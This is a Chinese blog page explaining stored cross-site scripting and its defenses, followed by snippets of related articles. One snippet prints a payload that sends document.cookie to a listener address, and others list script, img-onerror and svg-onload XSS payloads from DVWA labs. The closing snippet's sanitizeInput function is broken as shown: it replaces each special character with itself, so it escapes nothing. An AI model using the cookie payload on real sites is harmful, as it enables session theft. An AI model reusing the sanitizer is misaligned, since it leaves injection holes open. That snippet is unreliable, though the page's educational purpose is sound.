存储型XSS

最新推荐文章于 2025-06-15 11:38:50 发布

code_father1

最新推荐文章于 2025-06-15 11:38:50 发布

阅读量179

点赞数

文章标签： xss 安全 web安全

本文链接：https://blog.youkuaiyun.com/code_father1/article/details/145707004

版权

存储型XSS

攻击者通过在服务器存储恶意脚本代码，导致在其它用户访问相关网站时自动执行该代码。这种攻击方式与反射性XSS不同，后者依赖于用户输入立即反射回页面。存储型XSS危害更大，因为它可以影响到多个用户。

攻击原理:

恶意代码注入：攻击者首先通过恶意脚本注入到应用程序的可存储部分，例如数据库、文件系统或其它持久化存储中。通常位于评论、帖子和用户配置等。
存储：服务器接受到输入后，没有对恶意内容进行过滤和转义等操作，直接将其存储。
触发执行：当其它用户访问该网页是，浏览器直接从服务器加载该内容，并执行其中的脚本。由于该脚本从受信任的源加载，浏览器不会阻止执行。

防范手段

输入进行验证：严格检验用户的输入
输出编码：将用户输入输出到网页之前，对其进行适当HTML编码，避免脚本被执行。或者直接全部当成字符串处理。
内容安全策略： CSP限制可执行的脚本来源，防止加载未授权的脚本。
使用安全库：使用成熟的库和框架来处理用户输入和输出，减少漏洞风险

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

code_father1

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

存储型XSS漏洞解析

w2361734601的博客

04-02

1613

案例：某招聘平台允许上传HTML简历，攻击者嵌入恶意脚本后，所有查看简历的用户会话被劫持。文件上传漏洞：攻击者上传含恶意脚本的PDF、SVG等文件，用户访问文件时触发XSS。蠕虫传播：结合社交功能（如论坛、私信），恶意脚本可诱导用户自动转发，形成链式传播。钓鱼与数据泄露：通过篡改页面内容（如伪造登录框）或窃取用户隐私数据（如支付信息）。：恶意脚本窃取用户敏感信息（如Cookie、会话令牌）或篡改页面内容。（如数据库、文件系统）的跨站脚本攻击方式。：其他用户访问包含恶意脚本的页面时，脚本自动加载并执行。

存储型xss利用思路

weixin_45698828的博客

10-23

1124

Js操纵的主体是浏览器，窃取的当然是浏览器的Cookie，所以有XSS的地方，你如果抓包改Cookie去访问，XSS是吃不到你修改过的Cookie，其实你访问的时候抓包就可以看到，第一次访问正常页面，第二次会GET传参访问XSS平台。存储型存入数据库中，可持续时间长，而反射型持续时间短，仅对本次访问有影响，反射型一般要配合社工。反射型：一次性的东西，传参里面要有攻击代码，必须要想办法让管理访问这个链接，可以插入数据的地方，比如用户注册，留言板，上传文件的文件名处，管理员可见的报错信息。

参与评论您还未登录，请先登录后发表或查看评论

XSS | 存储型 XSS 攻击

Blue17 の小窝

09-30

2964

从上面的攻击流程中，我们可以看到，存储型 XSS 的攻击方式能将恶意代码永久的嵌入一个页面中，所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接，那么反射型 XSS 攻击将没有多大作为，而存储型 XSS 则不同，由于它注入在一些我们信任的页面，因此无论我们多么小心，都难免会受到攻击（谁会一直打开浏览器的源码模式抓包呀）。从上图可以看出来，使用不同的浏览器，在不同的时刻去查看之前的留言，都是能看到相同的内容的。表单，将数据传递给后端，后端接收到用户的数据后，使用自己编写的。

存储型XSS漏洞

韩云川的博客

09-11

1002

存储型XSS攻击是一种常见的网络攻击，也称为持久型XSS攻击。与反射型XSS攻击不同，存储型XSS攻击将恶意代码存储在服务器端或数据库中，当其他用户访问该网页时，恶意代码会被执行，导致用户的信息被窃取或造成其他安全问题。存储型XSS攻击的原理是利用网页的输入和输出漏洞，将恶意代码插入到网页中。当用户访问该网页时，恶意代码会被执行，并窃取用户的浏览器信息、Cookie等敏感数据。这些数据可以被攻击者用来进行更深入的攻击，例如身份盗用、钓鱼攻击等。存储型XSS攻击的危害非常严重。

存储型XSS简介

热门推荐

seek_2022的博客

05-05

1万+

文章目录一、存储型XSS简介（一）存储型XSS的概念（二）存储型XSS攻击过程（三）打XSS的潜在风险二、XSS平台使用方法三、靶场实战一、存储型XSS简介（一）存储型XSS的概念存储型XSS又称持久型XSS，攻击脚本将被永久地存放在目标服务器的数据库或文件中，具有很高的隐蔽性。反射型XSS的被攻击对象一般是攻击者去寻找的，就比如说：一个攻击者想盗取A的账号，那么攻击者就可以将一个含有反射型XSS的特制URL链接发送给A，然后用花言巧语诱骗A点击链接。当A不小心点进去时，就会立即受到XSS攻击。这种

存储型 XSS 攻击深度解析：原理、场景、防御与实战案例

m0_57836225的博客

04-27

1295

存储型 XSS（Stored Cross-Site Scripting），又称持久化 XSS，是危害级别最高的 XSS 攻击类型。恶意脚本存储于服务器端：如数据库、文件系统等持久化存储介质。自动触发攻击：用户访问页面时，服务器主动读取并渲染包含恶意脚本的内容，无需依赖用户点击特定链接。攻击链示意图攻击者 ---------> 向服务器提交包含恶意脚本的内容（如评论、发帖）↓服务器 -------> 将恶意内容存储至数据库↓。

防止存储型 XSS 攻击的调试与优化指南

风华正茂糟老头

10-10

1329

在现代 Web 开发中，安全性始终是一个至关重要的方面。存储型跨站脚本攻击（Stored XSS）是一种常见的安全威胁，它通过在数据库中存储恶意脚本，从而在页面加载时被执行。本文将分享一个调试和优化的过程，以确保我们的代码安全，并有效防止存储型 XSS 攻击。

存储型XSS利用方式

m0_62207482的博客

03-21

474

XSS攻击的原理是通过修改或者添加页面上的JavaScript恶意脚本，在浏览器渲染页面的时候执行该脚本，从而实现窃取COOKIE或者调用Ajax实现其他类型的CSRF攻击，还可以插入beef进行钓鱼等。test.com 调用ajax 去访问 xxxx.com assdasd.test.com 如果目标的CORS头默认不放行test.com 这样 test.com 的ajax请求就不会访问其他网站。test.com 根据浏览器的CORS策略他只能在test.com里面请求东西。

漏洞修复-存储型XSS【高危】

weixin_46247049的博客

11-15

1827

工作中渗透测试检测出，存储型XSS漏洞进行修复的记录。使用过滤器即可修复。

DedeCMS 存储型xss漏洞1

08-03

【DedeCMS 存储型 XSS 漏洞1】详解 DedeCMS 是一款广泛使用的基于PHP的开源网站管理系统，其特色在于提供了一个简洁易用的后台管理界面，帮助企业或个人快速构建网站。然而，如同任何软件一样，DedeCMS 也存在安全...

奇安信安全扫描漏洞解决路径遍历和存储型xss和反射xss攻击漏洞

11-09

亲测可用，中级漏洞，解决服务器段请求伪造 final String forURL = ESAPI.encoder().encodeForURL(url); restTemplate.exchange(forURL, HttpMethod.GET,new HttpEntity<String>(headers), List.class, params);

YXcms-含有存储型XSS漏洞的源码包(1).zip

12-31

YXcms是一个常见的内容管理系统，但在这个特定的版本——"YXcms-含有存储型XSS漏洞的源码包(1).zip"中，存在一个严重的安全问题：存储型跨站脚本（Stored Cross-Site Scripting，简称存储型XSS）漏洞。这种漏洞允许...

YXcms-含有存储型XSS漏洞的源码包

03-17

"YXcms-含有存储型XSS漏洞的源码包" 这个标题揭示了我们要讨论的核心内容。YXcms是一个内容管理系统（CMS），它不幸地包含了存储型跨站脚本（Stored XSS）的安全漏洞。存储型XSS是XSS攻击的一种类型，这种漏洞通常...

E069-web安全应用-存储型XSS的场景实践.pdf

12-02

E069-web安全应用-存储型XSS的场景实践本资源讲解了存储型XSS（Cross-Site Scripting）的攻击场景实践，通过DVWA（Damn Vulnerable Web Application）平台来演示整个攻击过程。知识点1：存储型XSS的定义和原理 ...

渗透测试PortSwigger Labs：遭遇html编码和转义符的反射型XSS

ericalezl的博客

06-11

246

1 处是我们输入的标签被服务器 html 编码后返回，被浏览器当作字符串显示出来，无法执行 javascript。让服务器添加的转义符失效，单引号逃逸。依然存在转移单引号，我们输入转义符。，第一个分号用来结束前面的变量定义。2 处是唯一能控制的地方，正好在。时 js 中的注释，如下图所示。标签范围内，可以尝试构造。

Stored XSS（存储型跨站脚本攻击）

weixin_43435891的博客

06-13

212

这篇教程展示了如何在DVWA环境中进行存储型XSS攻击测试。首先进入XSS存储型漏洞页面，在留言板表单中输入包含<script>alert('Stored XSS')</script>的payload，提交后验证脚本是否持久存储。接着介绍了三种绕过过滤的变种XSS payload：利用img标签的onerror事件、svg标签的onload事件，以及javascript伪协议的a链接。每次攻击成功后页面都会弹出提示框，证明漏洞存在。该实验主要帮助理解存储型XSS的特点和常见绕过方法。

使用存储型 XSS 窃取 cookie 并发送到你控制的服务器

最新发布

weixin_43435891的博客

06-15

281

📌 DVWA存储型XSS窃取Cookie实验步骤 1️⃣ 搭建监听服务使用Python启动HTTP服务器（端口8081）或Flask应用接收数据确保防火墙开放端口 2️⃣ 注入恶意脚本在DVWA的存储型XSS页面提交Payload： new Image().src="http://监听IP:8081/log?c="+document.cookie; 注意替换IP地址（容器环境需用特殊地址） 3️⃣ 获取Cookie 访问含XSS的页面触发脚本监听终端将显示窃取的Cookie信息（如PHPSESSI

DOM-Based XSS（基于文档对象模型的跨站脚本攻击）

weixin_43435891的博客

06-15

292

DOM XSS攻击分析及DVWA环境实践摘要：本文介绍了DOM型XSS漏洞的原理，通过DVWA靶场进行实践演示。DOM XSS不同于传统反射/存储型XSS，它通过恶意篡改URL参数，利用前端JavaScript未经处理的动态插入实现攻击。文章详细展示了在DVWA环境中利用default参数注入<script>alert('XSS')</script>等恶意代码的过程，并解析了漏洞成因——未过滤URL参数直接插入HTML。还提供了多种绕过WAF的payload示例，包括隐形脚本和on

存储型xss

03-15

### 存储型 XSS 攻击概述存储型 XSS 是一种严重的跨站脚本攻击形式，其核心特征在于恶意脚本会被永久性地存储在目标服务器上。当受害者的浏览器加载这些被污染的数据时，嵌入其中的恶意脚本就会被执行[^1]。 #### 原理分析存储型 XSS 的工作原理如下： - **数据输入阶段**：攻击者利用系统的漏洞，在支持用户提交内容的功能模块（如留言板、评论区或消息系统）中注入恶意脚本。 - **数据存储阶段**：该恶意脚本随后被保存至数据库或其他持久化存储介质中。 - **数据展示阶段**：当合法用户的浏览器请求并渲染包含此恶意脚本的内容时，脚本会在用户的上下文中执行，从而窃取敏感信息或劫持会话令牌[^5]。这种攻击模式的关键之处在于，一旦恶意脚本成功植入服务器端，任何访问受影响页面的用户都可能成为潜在受害者。 --- ### 防护措施为了有效抵御存储型 XSS 攻击，可以从以下几个方面着手： #### 输入验证与过滤对所有来自客户端的输入进行全面校验和清理，确保只接受预期范围内的字符集。例如，移除 HTML 标签中的 `<script>` 或 `on*` 属性等可能导致脚本执行的部分[^3]。 ```javascript function sanitizeInput(input) { const sanitized = input.replace(/<|>|&|"|'/g, function(match) { switch (match) { case '<': return '<'; case '>': return '>'; case '&': return '&'; case '"': return '"'; case "'": return '''; } }); return sanitized; } ``` 上述代码展示了如何通过正则表达式替换特殊字符来防止恶意脚本注入[^4]。 #### 输出编码无论何时向网页输出动态内容，均需依据具体环境对其进行适当转义处理。比如，在 HTML 上下文中应将特定符号转换成实体；而在 JavaScript 中，则需要额外注意字符串拼接的安全性问题。 #### 使用 Content Security Policy (CSP) 启用 CSP 头部配置能够显著降低因 XSS 导致的风险水平。通过指定哪些资源是可以信任的来源，阻止未授权脚本运行的可能性大大增加[^2]。 ```http Content-Security-Policy: script-src 'self' https://trusted.cdn.com; object-src 'none'; base-uri 'self'; ``` 以上是一个典型的 HTTP 响应头设置例子，表明仅允许从当前域名本身或者指定可信 CDN 加载外部脚本文件。 --- ### 结论综上所述，针对存储型 XSS 攻击的有效防护不仅依赖于严格的输入控制机制，还需要结合多种技术手段共同作用才能达到最佳效果。始终遵循最小权限原则，并保持警惕更新最新的安全补丁和技术指南是非常重要的。